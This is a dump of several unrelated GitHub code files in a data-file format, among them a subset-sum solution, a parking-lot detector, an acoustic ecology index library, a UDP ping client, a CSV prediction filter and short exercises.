collections\n\n# 정수의 개수, 목표값\nN, S = map(int, sys.stdin.readline().strip().split(\" \"))\narray = list(map(int, sys.stdin.readline().strip().split(\" \")))\nsub_sum = collections.defaultdict(int)\ncnt = 0\n\n# 수열의 길이 // 2(mid) 인덱스부터 \n# 모든 부분 수열을 계산하여 맵(딕셔너리)에 기록\ndef rightSeq(mid, sum):\n # 마지막 인덱스에 도달했다면\n if mid == N:\n # 현재까지 부분수열의 합을 키로 딕셔너리에 저장\n sub_sum[sum] += 1\n return\n \n rightSeq(mid + 1, sum + array[mid])\n rightSeq(mid + 1, sum)\n\n# 0번 인덱스부터 수열의 길이 // 2 인덱스 전까지의\n# 모든 부분 수열을 계산하여 수열을 모두 탐색할 때마다 cnt의 값을\n# map[S - sum] 만큼 더해준다.\n\n# left 수열의 부분수열의 합이 sum인 경우에 map[S - sum]이 존재한다면\n# 해당 map(right 수열에서 구한 값)과 현재 left 수열의 sum을 더하면\n# S가 된다.\ndef leftSeq(st, sum):\n global cnt\n \n if st == N // 2:\n cnt += sub_sum[S - sum]\n return\n \n leftSeq(st + 1, sum + array[st])\n leftSeq(st + 1, sum)\n \nrightSeq(N // 2, 0)\nleftSeq(0, 0)\n\nprint(cnt - 1) if not S else print(cnt)\n \n","repo_name":"dhtmaks2540/LeetCode-Algorithm","sub_path":"baekjoon_problems/binary_search/1208.py","file_name":"1208.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"166735098","text":"import argparse\nimport pandas as pd\nimport cv2 as cv\nimport tensorflow as tf\nfrom utils import predict\n\nparser = argparse.ArgumentParser(description=\"This script detect free spaces on parking lot\")\nparser.add_argument('markup_path', type=str, help='Path to the markup of parking lots')\nparser.add_argument(\"--image_folder\", type=str, default=\"custom_tests\", help=\"Folder in which image is placed\")\nparser.add_argument(\"--output_path\", type=str, default=\"custom_tests/output.jpg\", help=\"Path where output image will be saved\")\nparser.add_argument(\"--model_path\", type=str, default=\"saved_models/my_model\", help=\"Path to model\")\nargs = parser.parse_args()\n\n# Load the image file\nlabels = pd.read_pickle(args.markup_path)\n\n# Detect free spaces\nmodel = tf.keras.models.load_model(args.model_path)\nimg, free_lots, all_lots = predict(model, labels, path=args.image_folder, threshold=0.06)\n\ntext = f\"Lots free: {free_lots}/{all_lots}\"\n\nfontScale = img.shape[1]//800\ncolor = (0, 255, 255) # yellow\nthickness = img.shape[1]//300\norg = (0, fontScale*30)\n\nimg = cv.putText(img, text, org, cv.FONT_HERSHEY_SIMPLEX, fontScale,\n color, thickness, cv.LINE_AA)\n\ncv.imwrite(args.output_path, img)\n","repo_name":"ernestknurov/ParkingLotDetection","sub_path":"detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28135017649","text":"#!/usr/bin/env python\n\n\"\"\"\n Set of functions to compute acoustic indices in the framework of Soundscape Ecology.\n\n Some features are inspired or ported from those proposed in:\n - seewave R package (http://rug.mnhn.fr/seewave/) / Jerome Sueur, Thierry Aubin and Caroline Simonis\n - soundecology R package (http://cran.r-project.org/web/packages/soundecology/index.html) / Luis J. Villanueva-Rivera and Bryan C. Pijanowski\n\n This file use an object oriented type for audio files described in the file \"acoustic_index.py\".\n\n\n\n\"\"\"\n\n__author__ = \"Patrice Guyot\"\n__version__ = \"0.4\"\n__credits__ = [\"Patrice Guyot\", \"Alice Eldridge\", \"Mika Peck\"]\n__email__ = [\"guyot.patrice@gmail.com\", \"alicee@sussex.ac.uk\", \"m.r.peck@sussex.ac.uk\"]\n__status__ = \"Development\"\n\n\nfrom scipy import signal, fftpack\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\n#--------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_spectrogram(file, windowLength=512, windowHop= 256, scale_audio=True, square=True, windowType='hanning', centered=False, normalized = False ):\n \"\"\"\n Compute a spectrogram of an audio signal.\n Return a list of list of values as the spectrogram, and a list of frequencies.\n\n Keyword arguments:\n file -- the real part (default 0.0)\n\n Parameters:\n file: an instance of the AudioFile class.\n windowLength: length of the fft window (in samples)\n windowHop: hop size of the fft window (in samples)\n scale_audio: if set as True, the signal samples are scale between -1 and 1 (as the audio convention). If false the signal samples remains Integers (as output from scipy.io.wavfile)\n square: if set as True, the spectrogram is computed as the square of the magnitude of the fft. If not, it is the magnitude of the fft.\n hamming: if set as True, the spectrogram use a correlation with a hamming window.\n centered: if set as true, each resulting fft is centered on the corresponding sliding window\n normalized: if set as true, divide all values by the maximum value\n \"\"\"\n\n if scale_audio:\n sig = file.sig_float # use signal with float between -1 and 1\n else:\n sig = file.sig_int # use signal with integers\n\n W = signal.get_window(windowType, windowLength, fftbins=False)\n halfWindowLength = int(windowLength/2)\n\n if centered:\n time_shift = int(windowLength/2)\n times = range(time_shift, len(sig)+1-time_shift, windowHop) # centered\n frames = [sig[i-time_shift:i+time_shift]*W for i in times] # centered frames\n else:\n times = range(0, len(sig)-windowLength+1, windowHop)\n frames = [sig[i:i+windowLength]*W for i in times]\n\n if square:\n spectro = [abs(np.fft.rfft(frame, windowLength))[0:halfWindowLength]**2 for frame in frames]\n else:\n spectro = [abs(np.fft.rfft(frame, windowLength))[0:halfWindowLength] for frame in frames]\n\n spectro=np.transpose(spectro) # set the spectro in a friendly way\n\n if normalized:\n spectro = spectro/np.max(spectro) # set the maximum value to 1 y\n\n frequencies = [e * file.niquist / float(windowLength / 2) for e in range(halfWindowLength)] # vector of frequency<-bin in the spectrogram\n return spectro, frequencies\n\n\n\n\n\n#-----------------------------------------------------------------------------\ndef compute_ACI(spectro,j_bin):\n \"\"\"\n Compute the Acoustic Complexity Index from the spectrogram of an audio signal.\n\n Reference: Pieretti N, Farina A, Morri FD (2011) A new methodology to infer the singing activity of an avian community: the Acoustic Complexity Index (ACI). Ecological Indicators, 11, 868-873.\n\n Ported from the soundecology R package.\n\n spectro: the spectrogram of the audio signal\n j_bin: temporal size of the frame (in samples)\n\n\n \"\"\"\n\n #times = range(0, spectro.shape[1], j_bin) # relevant time indices\n times = range(0, spectro.shape[1]-10, j_bin) # alternative time indices to follow the R code\n\n jspecs = [np.array(spectro[:,i:i+j_bin]) for i in times] # sub-spectros of temporal size j\n\n aci = [sum((np.sum(abs(np.diff(jspec)), axis=1) / np.sum(jspec, axis=1))) for jspec in jspecs] \t# list of ACI values on each jspecs\n main_value = sum(aci)\n temporal_values = aci\n\n return main_value, temporal_values # return main (global) value, temporal values\n\n\n\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_BI(spectro, frequencies, min_freq = 2000, max_freq = 8000):\n \"\"\"\n Compute the Bioacoustic Index from the spectrogram of an audio signal.\n In this code, the Bioacoustic Index correspond to the area under the mean spectre (in dB) minus the minimum frequency value of this mean spectre.\n\n Reference: Boelman NT, Asner GP, Hart PJ, Martin RE. 2007. Multi-trophic invasion resistance in Hawaii: bioacoustics, field surveys, and airborne remote sensing. Ecological Applications 17: 2137-2144.\n\n spectro: the spectrogram of the audio signal\n frequencies: list of the frequencies of the spectrogram\n min_freq: minimum frequency (in Hertz)\n max_freq: maximum frequency (in Hertz)\n\n Ported from the soundecology R package.\n \"\"\"\n\n min_freq_bin = int(np.argmin([abs(e - min_freq) for e in frequencies])) # min freq in samples (or bin)\n max_freq_bin = int(np.ceil(np.argmin([abs(e - max_freq) for e in frequencies]))) # max freq in samples (or bin)\n\n min_freq_bin = min_freq_bin - 1 # alternative value to follow the R code\n\n\n\n spectro_BI = 20 * np.log10(spectro/np.max(spectro)) # Use of decibel values. Equivalent in the R code to: spec_left <- spectro(left, f = samplingrate, wl = fft_w, plot = FALSE, dB = \"max0\")$amp\n spectre_BI_mean = 10 * np.log10 (np.mean(10 ** (spectro_BI/10), axis=1)) # Compute the mean for each frequency (the output is a spectre). This is not exactly the mean, but it is equivalent to the R code to: return(a*log10(mean(10^(x/a))))\n spectre_BI_mean_segment = spectre_BI_mean[min_freq_bin:max_freq_bin] # Segment between min_freq and max_freq\n spectre_BI_mean_segment_normalized = spectre_BI_mean_segment - min(spectre_BI_mean_segment) # Normalization: set the minimum value of the frequencies to zero.\n area = np.sum(spectre_BI_mean_segment_normalized / (frequencies[1]-frequencies[0])) # Compute the area under the spectre curve. Equivalent in the R code to: left_area <- sum(specA_left_segment_normalized * rows_width)\n\n return area\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_SH(spectro):\n \"\"\"\n Compute Spectral Entropy of Shannon from the spectrogram of an audio signal.\n\n spectro: the spectrogram of the audio signal\n\n Ported from the seewave R package.\n \"\"\"\n N = spectro.shape[0]\n spec = np.sum(spectro,axis=1)\n spec = spec / np.sum(spec) # Normalization by the sum of the values\n main_value = - sum([y * np.log2(y) for y in spec]) / np.log2(N) #Equivalent in the R code to: z <- -sum(spec*log(spec))/log(N)\n #temporal_values = [- sum([y * np.log2(y) for y in frame]) / (np.sum(frame) * np.log2(N)) for frame in spectro.T]\n return main_value\n\n\n\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_TH(file, integer=True):\n \"\"\"\n Compute Temporal Entropy of Shannon from an audio signal.\n\n file: an instance of the AudioFile class.\n integer: if set as True, the Temporal Entropy will be compute on the Integer values of the signal. If not, the signal will be set between -1 and 1.\n\n Ported from the seewave R package.\n \"\"\"\n if integer:\n sig=file.sig_int\n else:\n sig=file.sig_float\n\n #env = abs(signal.hilbert(sig)) # Modulo of the Hilbert Envelope\n env = abs(signal.hilbert(sig, fftpack.helper.next_fast_len(len(sig)))) # Modulo of the Hilbert Envelope, computed with the next fast length window\n\n env = env / np.sum(env) # Normalization\n N = len(env)\n return - sum([y * np.log2(y) for y in env]) / np.log2(N)\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_NDSI(file, windowLength = 1024, anthrophony=[1000,2000], biophony=[2000,11000]):\n \"\"\"\n Compute Normalized Difference Sound Index from an audio signal.\n This function compute an estimate power spectral density using Welch's method.\n\n Reference: Kasten, Eric P., Stuart H. Gage, Jordan Fox, and Wooyeong Joo. 2012. The Remote Environ- mental Assessment Laboratory's Acoustic Library: An Archive for Studying Soundscape Ecology. Ecological Informatics 12: 50-67.\n\n windowLength: the length of the window for the Welch's method.\n anthrophony: list of two values containing the minimum and maximum frequencies (in Hertz) for antrophony.\n biophony: list of two values containing the minimum and maximum frequencies (in Hertz) for biophony.\n\n Inspired by the seewave R package, the soundecology R package and the original matlab code from the authors.\n \"\"\"\n\n #frequencies, pxx = signal.welch(file.sig_float, fs=file.sr, window='hamming', nperseg=windowLength, noverlap=windowLength/2, nfft=windowLength, detrend=False, return_onesided=True, scaling='density', axis=-1) # Estimate power spectral density using Welch's method\n # TODO change of detrend for apollo\n frequencies, pxx = signal.welch(file.sig_float, fs=file.sr, window='hamming', nperseg=windowLength, noverlap=windowLength/2, nfft=windowLength, detrend='constant', return_onesided=True, scaling='density', axis=-1) # Estimate power spectral density using Welch's method\n avgpow = pxx * frequencies[1] # use a rectangle approximation of the integral of the signal's power spectral density (PSD)\n #avgpow = avgpow / np.linalg.norm(avgpow, ord=2) # Normalization (doesn't change the NDSI values. Slightly differ from the matlab code).\n\n min_anthro_bin=np.argmin([abs(e - anthrophony[0]) for e in frequencies]) # min freq of anthrophony in samples (or bin) (closest bin)\n max_anthro_bin=np.argmin([abs(e - anthrophony[1]) for e in frequencies]) # max freq of anthrophony in samples (or bin)\n min_bio_bin=np.argmin([abs(e - biophony[0]) for e in frequencies]) # min freq of biophony in samples (or bin)\n max_bio_bin=np.argmin([abs(e - biophony[1]) for e in frequencies]) # max freq of biophony in samples (or bin)\n\n anthro = np.sum(avgpow[min_anthro_bin:max_anthro_bin])\n bio = np.sum(avgpow[min_bio_bin:max_bio_bin])\n\n ndsi = (bio - anthro) / (bio + anthro)\n return ndsi\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef gini(values):\n \"\"\"\n Compute the Gini index of values.\n\n values: a list of values\n\n Inspired by http://mathworld.wolfram.com/GiniCoefficient.html and http://en.wikipedia.org/wiki/Gini_coefficient\n \"\"\"\n y = sorted(values)\n n = len(y)\n G = np.sum([i*j for i,j in zip(y,range(1,n+1))])\n G = 2 * G / np.sum(y) - (n+1)\n return G/n\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_AEI(spectro, freq_band_Hz, max_freq=10000, db_threshold=-50, freq_step=1000):\n \"\"\"\n Compute Acoustic Evenness Index of an audio signal.\n\n Reference: Villanueva-Rivera, L. J., B. C. Pijanowski, J. Doucette, and B. Pekin. 2011. A primer of acoustic analysis for landscape ecologists. Landscape Ecology 26: 1233-1246.\n\n spectro: spectrogram of the audio signal\n freq_band_Hz: frequency band size of one bin of the spectrogram (in Hertz)\n max_freq: the maximum frequency to consider to compute AEI (in Hertz)\n db_threshold: the minimum dB value to consider for the bins of the spectrogram\n freq_step: size of frequency bands to compute AEI (in Hertz)\n\n Ported from the soundecology R package.\n \"\"\"\n\n bands_Hz = range(0, max_freq, freq_step)\n bands_bin = [f / freq_band_Hz for f in bands_Hz]\n\n spec_AEI = 20*np.log10(spectro/np.max(spectro))\n spec_AEI_bands = [spec_AEI[int(bands_bin[k]):int(bands_bin[k]+bands_bin[1]),] for k in range(len(bands_bin))]\n\n values = [np.sum(spec_AEI_bands[k]>db_threshold)/float(spec_AEI_bands[k].size) for k in range(len(bands_bin))]\n\n return gini(values)\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_ADI(spectro, freq_band_Hz, max_freq=10000, db_threshold=-50, freq_step=1000):\n \"\"\"\n Compute Acoustic Diversity Index.\n\n Reference: Villanueva-Rivera, L. J., B. C. Pijanowski, J. Doucette, and B. Pekin. 2011. A primer of acoustic analysis for landscape ecologists. Landscape Ecology 26: 1233-1246.\n\n spectro: spectrogram of the audio signal\n freq_band_Hz: frequency band size of one bin of the spectrogram (in Hertz)\n max_freq: the maximum frequency to consider to compute ADI (in Hertz)\n db_threshold: the minimum dB value to consider for the bins of the spectrogram\n freq_step: size of frequency bands to compute ADI (in Hertz)\n\n\n Ported from the soundecology R package.\n \"\"\"\n\n\n bands_Hz = range(0, max_freq, freq_step)\n bands_bin = [f / freq_band_Hz for f in bands_Hz]\n\n spec_ADI = 20*np.log10(spectro/np.max(spectro))\n spec_ADI_bands = [spec_ADI[int(bands_bin[k]):int(bands_bin[k]+bands_bin[1]),] for k in range(len(bands_bin))]\n\n values = [np.sum(spec_ADI_bands[k]>db_threshold)/float(spec_ADI_bands[k].size) for k in range(len(bands_bin))]\n\n # Shannon Entropy of the values\n #shannon = - sum([y * np.log(y) for y in values]) / len(values) # Follows the R code. But log is generally log2 for Shannon entropy. Equivalent to shannon = False in soundecology.\n\n # The following is equivalent to shannon = True (default) in soundecology. Compute the Shannon diversity index from the R function diversity {vegan}.\n #v = [x/np.sum(values) for x in values]\n #v2 = [-i * j for i,j in zip(v, np.log(v))]\n #return np.sum(v2)\n\n # Remove zero values (Jan 2016)\n values = [value for value in values if value != 0]\n\n #replace zero values by 1e-07 (closer to R code, but results quite similars)\n #values = [x if x != 0 else 1e-07 for x in values]\n\n return np.sum([-i/ np.sum(values) * np.log(i / np.sum(values)) for i in values])\n\n\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_zcr(file, windowLength=512, windowHop= 256):\n \"\"\"\n Compute the Zero Crossing Rate of an audio signal.\n\n file: an instance of the AudioFile class.\n windowLength: size of the sliding window (samples)\n windowHop: size of the lag window (samples)\n\n return: a list of values (number of zero crossing for each window)\n \"\"\"\n\n\n sig = file.sig_int # Signal on integer values\n\n times = range(0, len(sig)- windowLength +1, windowHop)\n frames = [sig[i:i+windowLength] for i in times]\n return [len(np.where(np.diff(np.signbit(x)))[0])/float(windowLength) for x in frames]\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_rms_energy(file, windowLength=512, windowHop=256, integer=False):\n \"\"\"\n Compute the RMS short time energy.\n\n file: an instance of the AudioFile class.\n windowLength: size of the sliding window (samples)\n windowHop: size of the lag window (samples)\n integer: if set as True, the Temporal Entropy will be compute on the Integer values of the signal. If not, the signal will be set between -1 and 1.\n\n return: a list of values (rms energy for each window)\n \"\"\"\n if integer:\n sig=file.sig_int\n else:\n sig=file.sig_float\n\n times = range(0, len(sig) - windowLength+1, windowHop)\n frames = [sig[i:i + windowLength] for i in times]\n return [np.sqrt(sum([ x**2 for x in frame ]) / windowLength) for frame in frames]\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_spectral_centroid(spectro, frequencies):\n \"\"\"\n Compute the spectral centroid of an audio signal from its spectrogram.\n\n spectro: spectrogram of the audio signal\n frequencies: list of the frequencies of the spectrogram\n \"\"\"\n\n centroid = [ np.sum(magnitudes*frequencies) / np.sum(magnitudes) for magnitudes in spectro.T]\n\n\n return centroid\n\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_wave_SNR(file, frame_length_e=512, min_DB=-60, window_smoothing_e=5, activity_threshold_dB=3, hist_number_bins = 100, dB_range = 10, N = 0):\n \"\"\"\n\n Computes indices from the Signal to Noise Ratio of a waveform.\n\n file: an instance of the AudioFile class.\n window_smoothing_e: odd number for sliding mean smoothing of the histogram (can be 3, 5 or 7)\n hist_number_bins - Number of columns in the histogram\n dB_range - dB range to consider in the histogram\n N: The decibel threshold for the waveform is given by the modal intensity plus N times the standard deviation. Higher values of N will remove more energy from the waveform.\n\n Output:\n Signal-to-noise ratio (SNR): the decibel difference between the maximum envelope amplitude in any minute segment and the background noise.\n Acoustic activity: the fraction of frames within a one minute segment where the signal envelope is more than 3 dB above the level of background noise\n Count of acoustic events: the number of times that the signal envelope crosses the 3 dB threshold\n Average duration of acoustic events: an acoustic event is a portion of recordingwhich startswhen the signal envelope crosses above the 3 dB threshold and ends when it crosses belowthe 3 dB threshold.\n\n Ref: Towsey, Michael W. (2013) Noise removal from wave-forms and spectro- grams derived from natural recordings of the environment.\n Towsey, Michael (2013), Noise Removal from Waveforms and Spectrograms Derived from Natural Recordings of the Environment. Queensland University of Technology, Brisbane.\n \"\"\"\n\n half_window_smoothing = int(window_smoothing_e/2)\n\n times = range(0, len(file.sig_int)-frame_length_e+1, frame_length_e)\n wave_env = 20*np.log10([np.max(abs(file.sig_float[i : i + frame_length_e])) for i in times])\n\n minimum = np.max((np.min(wave_env), min_DB)) # If the minimum value is less than -60dB, the minimum is set to -60dB\n\n hist, bin_edges = np.histogram(wave_env, range=(minimum, minimum + dB_range), bins=hist_number_bins, density=False)\n\n\n hist_smooth = ([np.mean(hist[i - half_window_smoothing: i + half_window_smoothing]) for i in range(half_window_smoothing, len(hist) - half_window_smoothing)])\n hist_smooth = np.concatenate((np.zeros(half_window_smoothing), hist_smooth, np.zeros(half_window_smoothing)))\n\n modal_intensity = np.argmax(hist_smooth)\n\n if N>0:\n count_thresh = 68 * sum(hist_smooth) / 100\n count = hist_smooth[modal_intensity]\n index_bin = 1\n while count < count_thresh:\n if modal_intensity + index_bin <= len(hist_smooth):\n count = count + hist_smooth[modal_intensity + index_bin]\n if modal_intensity - index_bin >= 0:\n count = count + hist_smooth[modal_intensity - index_bin]\n index_bin += 1\n thresh = np.min((hist_number_bins, modal_intensity + N * index_bin))\n background_noise = bin_edges[thresh]\n elif N==0:\n background_noise = bin_edges[modal_intensity]\n\n SNR = np.max(wave_env) - background_noise\n SN = np.array([frame-background_noise-activity_threshold_dB for frame in wave_env])\n acoustic_activity = np.sum([i > 0 for i in SN])/float(len(SN))\n\n\n # Compute acoustic events\n start_event = [n[0] for n in np.argwhere((SN[:-1] < 0) & (SN[1:] > 0))]\n end_event = [n[0] for n in np.argwhere((SN[:-1] > 0) & (SN[1:] < 0))]\n if len(start_event)!=0 and len(end_event)!=0:\n if start_event[0]0:\n count_thresh = 68 * sum(hist_smooth) / 100\n count = hist_smooth[modal_intensity]\n index_bin = 1\n while count < count_thresh:\n if modal_intensity + index_bin <= len(hist_smooth):\n count = count + hist_smooth[modal_intensity + index_bin]\n if modal_intensity - index_bin >= 0:\n count = count + hist_smooth[modal_intensity - index_bin]\n index_bin += 1\n thresh = int(np.min((histo_size, modal_intensity + N * index_bin)))\n background_noise.append(bin_edges[thresh])\n elif N==0:\n background_noise.append(bin_edges[modal_intensity])\n\n\n background_noise_smooth = ([np.mean(background_noise[i - half_window_smoothing: i + half_window_smoothing]) for i in range(half_window_smoothing, len(background_noise) - half_window_smoothing)])\n # keep background noise at the end to avoid last row problem (last bin with old microphones)\n background_noise_smooth = np.concatenate((background_noise[0:half_window_smoothing], background_noise_smooth, background_noise[-half_window_smoothing:]))\n\n new_spec = np.array([col - background_noise_smooth for col in spectro.T]).T\n new_spec = new_spec.clip(min=low_value) # replace negative values by value close to zero\n\n #Figure\n if plot:\n colormap=\"jet\"\n fig = plt.figure()\n a = fig.add_subplot(1,2,1)\n if dB:\n plt.imshow(new_spec, origin=\"lower\", aspect=\"auto\", cmap=colormap, interpolation=\"none\")\n else:\n plt.imshow(20*np.log10(new_spec), origin=\"lower\", aspect=\"auto\", cmap=colormap, interpolation=\"none\")\n a = fig.add_subplot(1,2,2)\n if dB:\n plt.imshow(new_spec, origin=\"lower\", aspect=\"auto\", cmap=colormap, interpolation=\"none\")\n else:\n plt.imshow(20*np.log10(spectro), origin=\"lower\", aspect=\"auto\", cmap=colormap, interpolation=\"none\")\n plt.show()\n\n\n\n return new_spec\n\n\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ndef compute_NB_peaks(spectro, frequencies, freqband = 200, normalization= True, slopes=(0.01,0.01)):\n \"\"\"\n\n Counts the number of major frequency peaks obtained on a mean spectrum.\n\n spectro: spectrogram of the audio signal\n frequencies: list of the frequencies of the spectrogram\n freqband: frequency threshold parameter (in Hz). If the frequency difference of two successive peaks is less than this threshold, then the peak of highest amplitude will be kept only.\n normalization: if set at True, the mean spectrum is scaled between 0 and 1\n slopes: amplitude slope parameter, a tuple of length 2. Refers to the amplitude slopes of the peak. The first value is the left slope and the second value is the right slope. Only peaks with higher slopes than threshold values will be kept.\n\n Ref: Gasc, A., Sueur, J., Pavoine, S., Pellens, R., & Grandcolas, P. (2013). Biodiversity sampling using a global acoustic approach: contrasting sites with microendemics in New Caledonia. PloS one, 8(5), e65311.\n\n \"\"\"\n\n meanspec = np.array([np.mean(row) for row in spectro])\n\n if normalization:\n meanspec = meanspec/np.max(meanspec)\n\n # Find peaks (with slopes)\n peaks_indices = np.r_[False, meanspec[1:] > np.array([x + slopes[0] for x in meanspec[:-1]])] & np.r_[meanspec[:-1] > np.array([y + slopes[1] for y in meanspec[1:]]), False]\n peaks_indices = peaks_indices.nonzero()[0].tolist()\n\n #peaks_indices = signal.argrelextrema(np.array(meanspec), np.greater)[0].tolist() # scipy method (without slope)\n\n\n # Remove peaks with difference of frequency < freqband\n nb_bin=next(i for i,v in enumerate(frequencies) if v > freqband) # number of consecutive index\n for consecutiveIndices in [np.arange(i, i+nb_bin) for i in peaks_indices]:\n if len(np.intersect1d(consecutiveIndices,peaks_indices))>1:\n # close values has been found\n maxi = np.intersect1d(consecutiveIndices,peaks_indices)[np.argmax([meanspec[f] for f in np.intersect1d(consecutiveIndices,peaks_indices)])]\n peaks_indices = [x for x in peaks_indices if x not in consecutiveIndices] # remove all inddices that are in consecutiveIndices\n peaks_indices.append(maxi) # append the max\n peaks_indices.sort()\n\n\n peak_freqs = [frequencies[p] for p in peaks_indices] # Frequencies of the peaks\n\n return len(peaks_indices)\n","repo_name":"patriceguyot/Acoustic_Indices","sub_path":"compute_indice.py","file_name":"compute_indice.py","file_ext":"py","file_size_in_byte":28458,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"38"} +{"seq_id":"10998326824","text":"#!/usr/bin/python # This is client.py file\n\nfrom socket import *\nfrom datetime import datetime\nimport sys\n\nserverName = ''\nserverPort = 12419\nclientSocket = socket(AF_INET, SOCK_DGRAM)\nclientSocket.settimeout(1)\n#clientSocket.setTim\nrtt_sum = 0.0;\ntimeout = 1.000;\nnumPacketsLost = 0\nnumPacketsRetransmitted = 0\nfor i in range(1, 11):\n modifiedMessage = None\n rtt_start = datetime.now()\n message = \"Ping \" + str(i) + \" \" + rtt_start.strftime(\"%Y-%m-%d %H:%M:%S%f\")\n #clientSocket.sendto(message.encode(), (serverName, serverPort))\n print(message)\n\n\n #retransmit 3 times\n for j in range(0, 2):\n #wait until we have recieved a message?\n #while(float(datetime.timestamp(datetime.now()) - datetime.timestamp(rtt_start)) < timeout):\n try:\n clientSocket.sendto(message.encode(), (serverName, serverPort))\n modifiedMessage, serverAddress = clientSocket.recvfrom(6790)\n #if(modifiedMessage != None):\n #break\n except:\n print(\"Request timed out\")\n if(j == 0):\n numPacketsRetransmitted += 1\n if(j == 2):\n numPacketsLost += 1\n break\n print(\"Packet retransmitted\")\n continue\n if(modifiedMessage != None):\n break\n\n if(modifiedMessage != None):\n rtt_end = datetime.timestamp(datetime.now())\n rtt = rtt_end - datetime.timestamp(rtt_start)\n if(i == 1):\n min_rtt = rtt\n max_rtt = rtt\n rtt_sum = rtt\n else:\n if(rtt > max_rtt):\n max_rtt = rtt\n if(rtt < min_rtt):\n min_rtt = rtt\n rtt_sum += rtt\n print(\"server resp: \" + modifiedMessage.decode())\n print()\n #if(datetime.now() - rtt_start > timeout):\n #retransmit\n #print(\"Retransmi\")\n #modifiedMessage, serverAddress = clientSocket.recvfrom(6790)\n\n\navg_rtt = rtt_sum/10.0;\nprint()\nprint(\"Maximum RTT = \", max_rtt)\nprint(\"Minimum RTT = \", min_rtt)\nprint(\"Average RTT = \", avg_rtt)\nprint(\"Packet lost percentage = \", numPacketsLost/10.00)\nprint(\"Packets retransmitted = \", numPacketsRetransmitted)\nclientSocket.close()\n","repo_name":"mosshan/UDP-with-RDT","sub_path":"clientUDP.py","file_name":"clientUDP.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28515302784","text":"import pandas as pd \nimport sys\nimport numpy as np \nimport argparse\n\n\ndef load_df(file_csv):\n \n '''load a dataframe from a csv file'''\n\n df = pd.read_csv(file_csv)\n \n return df\n\n\ndef max_filter(df):\n \n '''Filter the max value for each sample and get the column name to a list. \n Then the function will return the dataframe with the new column'''\n\n # df = pd.read_csv(file_csv)\n header = list(df.columns)\n \n # print(header.index('b_cells')) #check the index of the first desired column\n\n #depending of the csv and desired columns, the slice will change.\n col = header[36:] #getting the all desired columns to transform in a dict with their index (Cell_Type)\n #col = header[2:] #directly from test_predict.csv form EpiAtlas\n dict_col = {k:v for k,v in enumerate(col)} #index as keys and col names as values\n \n\n CT_list = []\n for i, row in df.iterrows():\n \n # a = list(row[36:]) #creating a list with the values per sample to access the max value and the index further\n a = list(row[2:])\n \n num_max = max(a) #getting the max value (prediction) of each sample\n \n if np.isnan(num_max): #as we have some empty cells, this if solved the problem\n CT_list.append(num_max)\n continue\n \n index = a.index(num_max)\n CT_list.append(dict_col[index])\n\n return CT_list\n\n\ndef create_new_column(df, CT_list):\n\n df1 = df.copy()\n\n #df1['Predicted_CT'] = CT_list\n df1['Predicted_CS'] = CT_list\n \n return df1\n\n\ndef save_df(df, path):\n\n '''Save df as csv file'''\n\n df.to_csv(path, index = False)\n \n \n \n\ndef main(): \n\n df = load_df(args.file)\n list_ct = max_filter(df)\n df1 = create_new_column(df, list_ct)\n save_df(df1, args.output)\n\n\n\nif __name__ == \"__main__\":\n \n parser = argparse.ArgumentParser(\n description=\"A script to extract the maximum value of prediction for each sample (row), and returns a dataframe with a new columns with the predicted target\")\n\n\n parser.add_argument('-f', '--file', action=\"store\", help='Path to csv file with the predictions)', required=True)\n parser.add_argument('-o', '--output', action=\"store\", help='Path to output file including the new column', required=True)\n\n args = parser.parse_args()\n main()\n","repo_name":"GFrosi/Work_predicted_csv","sub_path":"filter_max_value.py","file_name":"filter_max_value.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70665021231","text":"# 题目:编写一个函数,输入n为偶数时,调用函数求1/2+1/4+...+1/n,当输入n为奇数时,调用函数1/1+1/3+...+1/n(利用指针函数)\nfrom functools import reduce\n\n\ndef func(number):\n\tif not isinstance(number,int):\n\t\traise Exception('please input a int')\n\tstart=2 if number%2==0 else 1\n\ts=0\n\tfor x in range(start,number+1,2):\n\t\ts+=1/x\n\treturn s\n\nprint(func(6))\n\n","repo_name":"yaolihui129/easyTest","sub_path":"SRC/demo/基础实例/part76.py","file_name":"part76.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22983412096","text":"mapping = ['Engelstalige landen', 'Engelstalige landen', 'Franstalige landen', 'Duitstalige landen',\n 'Japan', 'Russischtalige landen', 'Overige landen', 'China', 'Overige landen', 'Overige landen']\n\n\ndef overzicht(codes):\n result = {'Engelstalige landen': 0, 'Franstalige landen': 0, 'Duitstalige landen': 0,\n 'Japan': 0, 'Russischtalige landen': 0, 'China': 0, 'Overige landen': 0, 'Fouten': 0}\n for code in codes:\n if len(code) != 13 or not code.isnumeric() or not (code[0:3] == '978' or code[0:3] == '979'):\n 